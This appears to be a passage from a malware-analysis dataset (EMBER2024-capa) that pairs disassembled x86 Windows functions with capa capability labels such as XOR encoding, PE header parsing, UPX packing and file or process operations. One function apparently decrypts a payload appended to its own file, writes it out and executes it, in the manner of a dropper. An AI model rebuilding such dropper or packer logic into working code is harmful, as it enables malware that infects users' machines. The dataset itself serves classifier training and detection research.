joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42560b
Capabilities:
Terminate process

Disassembly:
call fcn.00425618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]
Function at 0x401809
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401848
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401848
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401848
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401848
cmp dword [ecx + 0x74], 0xe
jbe 0x401848
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4020c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.004020f0
mov esi, dword [ebp + 8]
test al, al
je 0x4020de
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.00402100
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x402230
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40228c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40228c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40228c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40228c
cmp dword [ecx + 0x74], 0xe
jbe 0x40228c
cmp dword [ecx + 0xe8], 0
je 0x40228c
push dword [ebp + 8]
call fcn.00402100
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x4043b8
call fcn.00401ed0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x4022c1
push dword [ebp + 8]
call fcn.004020c0
mov esp, ebp
pop ebp
ret

Function at 0x402300
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40235c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40235c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40235c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40235c
cmp dword [ecx + 0x74], 0xe
jbe 0x40235c
cmp dword [ecx + 0xe8], 0
je 0x40235c
push dword [ebp + 8]
call fcn.00402100
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x4043b8
call fcn.00401ed0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x402391
push dword [ebp + 8]
call fcn.004020c0
mov esp, ebp
pop ebp
ret
Function at 0x4023a0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x4023ca
mov eax, 2
pop ebp
ret
push esi
call fcn.00401ca0
mov esi, eax
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x70]
mov ecx, edx
and cl, 2
movzx ecx, cl
neg ecx
sbb ecx, ecx
inc eax
cmp eax, 3
ja case.default.0x4023ea
jmp dword [eax*4 + 0x402420]
or edx, 2
lea eax, [ecx + 2]
mov dword [esi + 0x70], edx
pop esi
pop ebp
ret
and edx, 0xfffffffd
mov dword [esi + 0x70], edx
lea eax, [ecx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.004029c0
or eax, 0xffffffff
pop esi
pop ebp
ret

Function at 0x402a00
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x404018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x402a27
mov ecx, 5
int 0x29
push 2
call fcn.004018ad
push 0x50
lea eax, [ebp - 0x320]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x320]
add esp, 0x1c
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x218], eax
lea eax, [ebp + 4]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x2d0], 0x10001
mov eax, dword [eax - 4]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x320], 0xc0000417
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x402b32
test esi, esi
jne 0x402b32
push 2
call fcn.004018ad
add esp, 4
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401b35
mov esp, ebp
pop ebp
ret
Function at 0x42d140
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x25000]
push edi
jmp 0x42d15a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42d161
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42d150
mov eax, 1
add ebx, ebx
jne 0x42d173
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42d168
jne 0x42d184
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42d168
xor ecx, ecx
sub eax, 3
jb 0x42d198
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42d20a
mov ebp, eax
add ebx, ebx
jne 0x42d1a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42d1b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42d1d4
inc ecx
add ebx, ebx
jne 0x42d1c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42d1b5
jne 0x42d1d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42d1b5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42d1f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42d1e5
jmp 0x42d156
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42d1f4
add edi, ecx
jmp 0x42d156
pop esi
mov edi, esi
mov ecx, 0x2d5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42d212
cmp byte [edi], 5
jne 0x42d212
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x42d217
lea edi, [esi + 0x2a000]
mov eax, dword [edi]
or eax, eax
je 0x42d28f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3f28c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3f438]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42d244
mov ecx, edi
jns 0x42d273
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3f440]
or eax, eax
je 0x42d289
mov dword [ebx], eax
add ebx, 4
jmp 0x42d261
call dword [esi + 0x3f43c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x42d2c0
cmp al, 0xef
ja 0x42d2b3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x42d295
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x42d2a2
mov ebp, dword [esi + 0x3f444]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42d2f4
sub esp, 0xffffff80
jmp 0x4074a5
Function at 0x1000b8f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x18
mov dword [ebp - 4], ecx
mov edi, dword [esi + 0xc]
mov ebx, dword [esi + 0x10]
call fcn.10017128
mov ecx, dword [ebp - 4]
add esp, 4
mov dword [ebp + 8], eax
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
push ebx
mov dword [ecx + 8], eax
mov ecx, eax
push edi
call fcn.10014c80
mov ecx, dword [ebp - 4]
mov eax, edi
cdq
sub eax, edx
mov edi, eax
mov eax, ebx
mov ecx, dword [ecx + 8]
cdq
sar edi, 1
sub eax, edx
push ecx
sar eax, 1
mov dword [ecx + 0xc], 6
cmp edi, eax
mov ecx, eax
cmovl ecx, edi
push ecx
push eax
push edi
mov edi, dword [ebp - 4]
mov ecx, dword [edi + 8]
call fcn.10014d20
mov ebx, 5
push dword [esi + 0x14]
mov edi, dword [edi + 8]
push dword [esi + 0x28]
push ecx
mov ecx, edi
call fcn.10014f40
push dword [edi + 0xc]
mov ecx, edi
push dword [edi + 8]
call fcn.10014e80
xor dword [edi + 8], 1
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp - 4]
sub ebx, 1
jne 0x1000b965
mov eax, edi
pop edi
pop esi
pop ebx
mov dword [eax + 4], 0x33
mov esp, ebp
pop ebp
ret 4
Function at 0x404bf3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x481e00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 8]
cmp dword [ebp + 0xc], esi
jbe 0x404c7d
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x6c
push str.Open_Cards
push 0x483b20
mov byte [edi + esi], al
call fcn.0040146b
push eax
call fcn.00401f77
mov al, byte [edi + esi]
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
push str.Taste
mov byte [edi + esi], al
call fcn.0040569b
add esp, 0x10
lea ecx, [ebp - 0x1c]
push 0x4275c0
call fcn.0040232d
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
cmova eax, dword [ebp - 0x1c]
push eax
call fcn.0040f33e
xor byte [edi + esi], al
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.00404817
inc esi
cmp esi, dword [ebp + 0xc]
jb 0x404c0f
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040a24e
leave
ret 8

Function at 0x408316
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x408337
jl 0x40832e
test edi, edi
jne 0x408337
xor eax, eax
xor edx, edx
jmp 0x4083f8
cmp dword [ebx + 0x38], 0
je 0x40834c
push eax
push edi
push dword [ebp + 8]
call fcn.004083fe
jmp 0x4083f8
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x408393
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x408393
cmp eax, edi
jb 0x40836d
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040ac60
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x408399
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x4083ed
mov ecx, ebx
call fcn.00407b69
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x4083d8
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00412533
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x4083ed
jmp 0x4083ab
test edx, edx
je 0x4083ed
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00412533
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x40a894
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40a8d3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40a8d3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40a8d3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40a8d3
cmp dword [ecx + 0x74], 0xe
jbe 0x40a8d3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41b41f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041b0c1

Function at 0x41b42a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041b250

Function at 0x41b824
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040ac10
mov eax, dword [0x481e00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00419065
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41b866
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41b9c2
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00425f60
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x484590]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041c5c3
mov ecx, dword [esi*4 + 0x484590]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41b9bb
cmp eax, dword [edi + ecx + 0x24]
jne 0x41b9bb
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41b9bb
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041c5c3
add esp, 0x14
test edx, edx
jl 0x41b9bb
jg 0x41b931
test eax, eax
jb 0x41b9bb
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41b9bb
jl 0x41b94b
cmp dword [ebp - 0x1008], eax
ja 0x41b9bb
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41b969
test ebx, ebx
je 0x41b9a2
cmp ecx, edi
jae 0x41b9a2
mov al, byte [ecx]
cmp al, 0xd
jne 0x41b983
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41b98f
cmp byte [ecx + 1], 0xa
jne 0x41b98f
inc ecx
jmp 0x41b98f
movzx eax, al
movsx eax, byte [eax + 0x4820c0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41b969
cmp edx, ebx
jne 0x41b969
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41b9c0
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040a24e
leave
ret
Function at 0x41ba61
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x484590]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41baa1
cmp byte [ebx], 0xa
jne 0x41baa1
or byte [eax + edi + 0x28], 4
jmp 0x41baa6
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41bba4
mov al, byte [edx]
cmp al, 0x1a
je 0x41bb86
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41bad5
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41bafa
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41bb04
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41bab7
jmp 0x41bba4
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41bb81
cmp dword [ebp - 0xc], 0
je 0x41bb81
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x484590]
test byte [eax + edi + 0x28], 0x48
je 0x41bb5b
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41bb46
mov byte [esi], dl
jmp 0x41bb57
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x484590]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41bba4
cmp byte [ebp - 1], 0xa
jne 0x41bb6a
cmp esi, ebx
jne 0x41bb6a
mov byte [esi], 0xa
jmp 0x41bba3
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041c5e1
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41bba4
mov byte [esi], 0xd
jmp 0x41bba3
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x484590]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41bba0
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41bba4
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41bbad
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x484590]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41bbf0
cmp word [esi], dx
jne 0x41bbf0
or byte [edi + eax + 0x28], 4
jmp 0x41bbf5
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41bd48
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41bd28
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41bc37
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41bc6d
cmp eax, edx
jae 0x41bc79
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41bc0f
jmp 0x41bd48
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41bd24
cmp dword [ebp - 0x14], 0
je 0x41bd24
mov eax, dword [ebx*4 + 0x484590]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41bcfc
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41bcc5
mov word [esi], cx
jmp 0x41bcf8
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x484590]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x484590]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x484590]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41bd48
pop ebx
cmp word [ebp - 4], bx
jne 0x41bd0d
cmp esi, dword [ebp + 0xc]
jne 0x41bd0d
mov word [esi], bx
jmp 0x41bd45
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041c5e1
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41bd48
push 0xd
jmp 0x41bd41
mov ecx, dword [ebx*4 + 0x484590]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41bd3f
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41bd48
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret